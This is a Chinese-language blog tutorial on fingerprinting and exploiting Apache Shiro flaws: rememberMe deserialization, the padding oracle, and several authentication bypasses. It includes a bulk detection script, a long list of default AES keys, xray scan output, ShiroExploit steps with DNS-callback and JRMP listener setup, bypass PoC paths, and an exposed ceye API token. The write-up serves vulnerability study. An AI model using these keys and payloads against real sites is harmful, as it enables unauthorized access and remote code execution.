Apache Shiro漏洞检测与利用

Apache shiro

简介

​ Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码学和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

​ 本文将基于Seebug上公开的shiro漏洞进行分析

image

(CVE-2016-4437)Apache Shiro 1.2.4 反序列化导致的命令执行漏洞

一、漏洞简介

​ Apache Shiro 1.2.4及以前的版本中,加密的用户信息序列化后存储在名为rememberMe的Cookie中,而Apache shiro默认使用了CookieRememberMeManager,其处理其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化

​ 由于AES的密钥是硬编码的,因此攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

二、漏洞影响

​ Apache Shiro <= 1.2.4

三、框架识别

如何识别使用了Apache Shiro框架的目标

​ 基于shiro的一个特性,当在请求的Header中添加一个Cookie值:

Cookie: rememberMe=yyds

​ 在请求的返回包中会返回一个Set-Cookie的值:

'Set-Cookie':rememberMe=deleteMe

​ 这样就可以证明该目标使用了Shiro框架,基于此可以写一个简单的脚本进行批量识别。

import requests
import re
#发送请求数据,获取响应状态码和header信息
def send(url):
    headers = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
        'cookie': 'rememberMe=yyds'
    }

    response = requests.head(url=url, headers = headers, verify=False, timeout=5)
    return response.status_code,response.headers

def main():
    #txt里例如:http://127.0.0.1:8080,要带协议
    for url in open("D://test//test.txt"):
        r_value = send(url.strip())
        str = r'rememberMe=deleteMe'
        if re.search(str,r_value[1].__str__(),re.I):
            print(url.strip() + ' | ' + "shiro框架")

if __name__=='__main__':
    main()
    

基于burp的被动shiro检测插件:https://github.com/pmiaowu/BurpShiroPassiveScan

四、漏洞复现

shiro_keys

kPH+bIxk5D2deZiIxcaaaA==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
zSyK5Kp6PZAAjlT+eeNMlg==
U3ByaW5nQmxhZGUAAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
bXdrXl9eNjY2KjA3Z2otPQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
r0e3c16IdVkouZgk1TKVMg==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
ZAvph3dsQs0FSL3SDFAdag==
tiVV6g3uZBGfgshesAQbjA==
cmVtZW1iZXJNZQAAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
RVZBTk5JR0hUTFlfV0FPVQ==
WkhBTkdYSUFPSEVJX0NBVA==
GsHaWo4m1eNbE0kNSMULhg==
l8cc6d2xpkT1yFtLIcLHCg==
KU471rVNQ6k7PQL4SqxgJg==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
25BsmdYwjnfcWmnhAciDDg==
3JvYhmBLUs0ETA5Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bXRvbnMAAAAAAAAAAAAAAA==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
3qDVdLawoIr1xFd6ietnwg==
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Q01TX0JGTFlLRVlfMjAxOQ==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
kPH+bIxk5D2deZiIxcabaA==
kPH+bIxk5D2deZiIxcacaA==
3AvVhdAgUs0FSA4SDFAdBg==
4AvVhdsgUs0F563SDFAdag==
FL9HL9Yu5bVUJ0PDU1ySvg==
5RC7uBZLkByfFfJm22q/Zw==
eXNmAAAAAAAAAAAAAAAAAA==
fdCEiK9YvLC668sS43CJ6A==
FJoQCiz0z5XWz2N2LyxNww==
HeUZ/LvgkO7nsa18ZyVxWQ==
HoTP07fJPKIRLOWoVXmv+Q==
iycgIIyCatQofd0XXxbzEg==
m0/5ZZ9L4jjQXn7MREr/bw==
NoIw91X9GSiCrLCF03ZGZw==
oPH+bIxk5E2enZiIxcqaaA==
QAk0rp8sG0uJC4Ke2baYNA==
Rb5RN+LofDWJlzWAwsXzxg==
s2SE9y32PvLeYo+VGFpcKA==
SrpFBcVD89eTQ2icOD0TMg==
U0hGX2d1bnMAAAAAAAAAAA==
Us0KvVhTeasAm43KFLAeng==
Ymx1ZXdoYWxlAAAAAAAAAA==
YWJjZGRjYmFhYmNkZGNiYQ==
zIiHplamyXlVB11UXWol8g==
ZjQyMTJiNTJhZGZmYjFjMQ==

利用xray对shiro框架的目标进行漏洞检测和利用

修改xray的config.yaml中修改shiro的检测开关为true

使用命令:

xray.exe webscan --url-file xxx.txt --html-output xxx.html >> log.txt

扫描结果:

[36m[INFO] 2021-11-22 17:25:59 [shiro:default.go:85] target is shiro, trying get shiro key with mode cbc
[INFO] 2021-11-22 17:25:59 [shiro:default.go:162] trying shiro key kPH+bIxk5D2deZiIxcaaaA==
[Vuln: shiro]
Target           "http://xxx.xxx.xxx.xxx:8080"
VulnType         "shiro/default-key"
key              "kPH+bIxk5D2deZiIxcaaaA=="
cookie_name      "rememberMe"
origin_count     "1"
current_count    "0"
mode             "cbc"

[INFO] 2021-11-22 17:25:59 [shiro:deserialization.go:73] shiro key is kPH+bIxk5D2deZiIxcaaaA==, cookie key is rememberMe
[INFO] 2021-11-22 17:25:59 [shiro:deserialization.go:74] now trying to check tomcat echo
[Vuln: shiro]
Target           "http://xxx.xxx.xxx.xxx:8080"
VulnType         "shiro/rememberme-deserialization"
mode             "cbc"
key              "kPH+bIxk5D2deZiIxcaaaA=="
gadget           "CommonsCollectionsK1"
gadget_type      "tomcat_echo"
cookie_name      "rememberMe"
follow_redirect  "true"

image

xray扫描出的结果分为两种,default-key和rememberme-deserialization。

rememberme-deserialization这种验证模式是借助Tomcat来进行数据回显的,可以直接使用xray的数据包进行利用,将Testecho改成Testcmd就可以执行命令

image

如果只是default-key的这种无回显的类型,可以借助ceye.io,dnslog,JRPM+dnslog三种方式进行漏洞检测

推荐一款飞鸿大佬写的工具:https://github.com/feihong-cs/ShiroExploit-Deprecated.git

image

选择使用 ceye.io 进行漏洞检测

  • 可以不进行任何配置,config/config.properties中已经预置了 CEYE 域名和对应的 Token,也可以换成自己的。
  • 程序会首先使用 URLDNS 筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
  • 缺点:程序会使用 API:http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget

选择 使用 dnslog.cn 进行漏洞检测

  • 可以不进行任何配置,每次启动时程序会自动从 dnslog.cn 申请一个 DNS Record。
  • 程序会首先使用 URLDNS 筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
  • 缺点:少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget,且 dnslog.cn 只会记录最近的10条 DNS 解析记录

选择 使用 JRMP + dnslog 进行漏洞检测

  • 需要在 VPS 上通过命令java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口
[root@vultr ShiroExploit.V2.51]# java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer 8080 1999
[*] Start HTTP Service at port 8080
[*] JRMP Service will start at port 1999

  • 如果开启 HttpService/JRMPListener 时未指定端口号,则 HTTPService 默认监听 8080 端口,JRMPListener 默认监听 8088 端口

  • 使用 JRMP 的方式进行漏洞检测,可以显著减小 cookie 大小

  • 程序会首先使用 URLDNS 筛选出唯一 Key,然后使用 JRMP 依次为各个 Gadget 生成对应的 JRMPListener

    Apache Shiro 721 Padding Oracle漏洞

    一、漏洞简介

    ​ Padding的含义是“填充”,在解密时,如果算法发现解密后得到的结果,它的填充方式不符合规则,那么表示输入数据有问题,对于解密的类库来说,往往便会抛出一个异常,提示Padding不正确。Oracle在这里便是“提示”的意思,和甲骨文公司没有任何关系,而是指一种现象,这种现象可以被用于侧信道来推断某些secret。

    具体关于padding Oracle攻击的原理的可以参考如下:

    https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

    https://blog.csdn.net/yalecaltech/article/details/90575122

    ​ Shrio所使用的cookie里的rememberMe字段采用了AES-128-CBC的加密模式,这使得该字段可以被padding oracle 攻击利用。攻击者可以使用一个合法有效的rememberMe 的cookie作为前缀来实施POA,然后制造一个特制的rememberMe来执行Java反序列化攻击。

    二、漏洞影响

    Apache Shiro < 1.4.2

    三、漏洞复现

    实施步骤

    1. 使用任意用户登陆网站获取一个合法的rememberMe cookie
    2. 使用rememberMe cookie作为前缀
    3. 加密Java反序列化的payload来制作特制的rememberMe
    4. 用定制好的带payload的cookie向网站发起请求

    为什么要获取一个合法的rememberMe cookie

    如果发送的rememberMe可以正确解析,则会返回一个正常的Set-Cookie值,否则会抛出异常返回rememberMe=deleteMe,如果不是合法用户也会返回异常从而抛出deleteMe,这样Oracle就没办法实现了。

    rememberMe作为前缀的含义

    是为了首先要确保可以正常反序列化得到用户标志,以确定为正常用户

    (CVE-2020-1957)Apache Shiro 身份认证绕过漏洞

    一、漏洞简介

    ​ Apache Shiro 1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。

    ​ Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符表示匹配零个或多个字符串,/可以匹配/hello,但是匹配不到/hello/,因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。

    二、漏洞影响

    Apache Shiro < 1.52

    三、漏洞复现

    访问管理页面发现有302跳转到登录页面

image

使用/xxx/..;/admin/,成功绕过访问到管理页面

image

四、原理分析

以/xxx/..;/admin/绕过方式为例分析程序处理流程。

protected String getPathWithinApplication(ServletRequest request) {
    return WebUtils.getPathWithinApplication(WebUtils.toHttp(request));
}

public static String getPathWithinApplication(HttpServletRequest request) {
        String contextPath = getContextPath(request);
        String requestUri = getRequestUri(request);
        if (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {
            // Normal case: URI contains context path.
            String path = requestUri.substring(contextPath.length());
            return (StringUtils.hasText(path) ? path : "/");
        } else {
            // Special case: rather unusual.
            return requestUri;
        }
    }


public static String getRequestUri(HttpServletRequest request) {
        String uri = (String) request.getAttribute(INCLUDE_REQUEST_URI_ATTRIBUTE);
        if (uri == null) {
            uri = request.getRequestURI();
        }
        return normalize(decodeAndCleanUriString(request, uri));
    }

经过getRequestsuri()函数传入后,我们的原始URL为/xxx/..;/admin/

接着程序会进入decodeAndCleanUriString()函数,decodeAndCleanUriString()函数的作用是将;后面的请求截断,此时返回的是/xxx/..

private static String decodeAndCleanUriString(HttpServletRequest request, String uri) {        uri = decodeRequestString(request, uri);        int semicolonIndex = uri.indexOf(';');        return (semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri);    }

然后程序调用nomalize()函数对decodeAndCleanUriString()函数处理过的返回值,也就是/xxx/..进行标准化处理。

  • 替换反斜线
  • 替换 ///
  • 替换 /.//
  • 替换 /..//
private static String normalize(String path, boolean replaceBackSlash) {        if (path == null)            return null;        // Create a place for the normalized path        String normalized = path;        if (replaceBackSlash && normalized.indexOf('\\') >= 0)            normalized = normalized.replace('\\', '/');        if (normalized.equals("/."))            return "/";        // Add a leading "/" if necessary        if (!normalized.startsWith("/"))            normalized = "/" + normalized;        // Resolve occurrences of "//" in the normalized path        while (true) {            int index = normalized.indexOf("//");            if (index < 0)                break;            normalized = normalized.substring(0, index) +                    normalized.substring(index + 1);        }        // Resolve occurrences of "/./" in the normalized path        while (true) {            int index = normalized.indexOf("/./");            if (index < 0)                break;            normalized = normalized.substring(0, index) +                    normalized.substring(index + 2);        }        // Resolve occurrences of "/../" in the normalized path        while (true) {            int index = normalized.indexOf("/../");            if (index < 0)                break;            if (index == 0)                return (null);  // Trying to go outside our context            int index2 = normalized.lastIndexOf('/', index - 1);            normalized = normalized.substring(0, index2) +                    normalized.substring(index + 3);        }        // Return the normalized path that we have completed        return (normalized);    }

最终经过getPathWithinApplication()函数处理过的需要shiro校验的url为/xxx/..

此时url会进到org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver 中的 getChain()方法校验.

getchain()函数中会将pathPattern(此处为/admin/**)和请求的url进行匹配,由于/xxx/..并不会匹配到pathPattern,故此处可通过shiro权限校验。

public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {    FilterChainManager filterChainManager = getFilterChainManager();    // 判断FilterChainManager中是否有FilterChain,如果没有则返回null    if (!filterChainManager.hasChains()) {        return null;    }	// 获取请求URI    String requestURI = getPathWithinApplication(request);     // FilterChain的名称就是路径匹配符,如果请求URI匹配上了某个FilterChain     // 则调用FilterChainManager.proxy方法返回一个FilterChain对象,注意是返回第一个匹配FilterChain    // 也就是说如果在ini配置文件中配置了多个同名的FilterChain,则只有第一个FilterChain有效    for (String pathPattern : filterChainManager.getChainNames()) {        if (pathMatches(pathPattern, requestURI)) {            if (log.isTraceEnabled()) {                log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + requestURI + "].  " +                        "Utilizing corresponding filter chain...");            }            return filterChainManager.proxy(originalChain, pathPattern);        }    }     return null;}

最终我们的原始请求 /xxx/..;/admin/就会进入到 springboot中。具体的匹配方式是在:

org.springframework.web.util.UrlPathHelper 中的 getPathWithinServletMapping()。

getPathWithinServletMapping()函数一般返回的servletPath为/admin,如此就成功访问到了后台。

(CVE-2020-11989)Apache Shiro 权限绕过漏洞

一、漏洞简介

在Apache Shiro 1.5.3之前的版本,将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

二、漏洞影响

Apache Shiro < 1.53

Spring框架中只使用了Shiro鉴权

权限ant风格的配置需要是 * 而不是 **

三、漏洞复现

第一种绕过方式POC:

/admin/a%25%32%66a

第二种绕过方式POC:

/;/admin/aaa

四、原理分析

第一种绕过方式的原理:

/admin/a%25%32%66a -->传入到shiro中解码一次/admin/a%2fa-->经过 decodeRequestString 变成/admin/a/a不符合 Ant 格式的 Shiro 拦截器 map.put("/admin/*", "authc")--> Spring @GetMapping("/admin/{name}") 路由转发

由于权限ant风格的配置需要是 * 而不是 **,故匹配不到不会拦截

第二种绕过方式原理:

利用条件是:应用不能部署在根目录,也就是需要context-path,server.servlet.context-path=/test,如果为根目录则context-path为空,就会被CVE-2020-1957的patch将URL格式化,值得注意的是若Shiro版本小于1.5.2的话那么该条件就不需要。

(CVE-2020-13933)Apache Shiro 权限绕过漏洞

一、漏洞简介

在Apache Shiro 1.60之前的版本,由于处理身份验证请求时出错 存在 权限绕过漏洞,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。

二、漏洞影响

Apache Shiro < 1.60

Spring框架中只使用了Shiro鉴权

权限ant风格的配置需要是 * 而不是 **

三、漏洞复现

POC:

/admin/%3bpage

四、原理分析

/admin/%3bpage --> Shiro getPathWithinApplicationh函数处理完/admin/;page -->removeSemicolon 根据 ; 截断返回 uri为/admin/ --> 无法命中拦截器 map.put("/admin/*", "authc") 成功绕过。

(CVE-2020-17523)Apache Shiro 权限绕过漏洞

一、漏洞简介

在Apache Shiro 1.71之前的版本,由于处理身份验证请求时出错 存在 权限绕过漏洞,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。

二、漏洞影响

Apache Shiro < 1.60

Spring框架中只使用了Shiro鉴权

权限ant风格的配置需要是 * 而不是 **

三、漏洞复现

POC:

/admin/%20

参考文档

https://blog.csdn.net/weixin_39897687/article/details/111001013

https://github.com/feihong-cs/ShiroExploit-Deprecated

https://www.anquanke.com/post/id/193165

https://blog.csdn.net/yalecaltech/article/details/90575122

https://paper.seebug.org/1196/

https://blog.csdn.net/weixin_45728976/article/details/108737882

posted @ 2021-11-28 20:33  墨宸  阅读(2104)  评论(1)    收藏  举报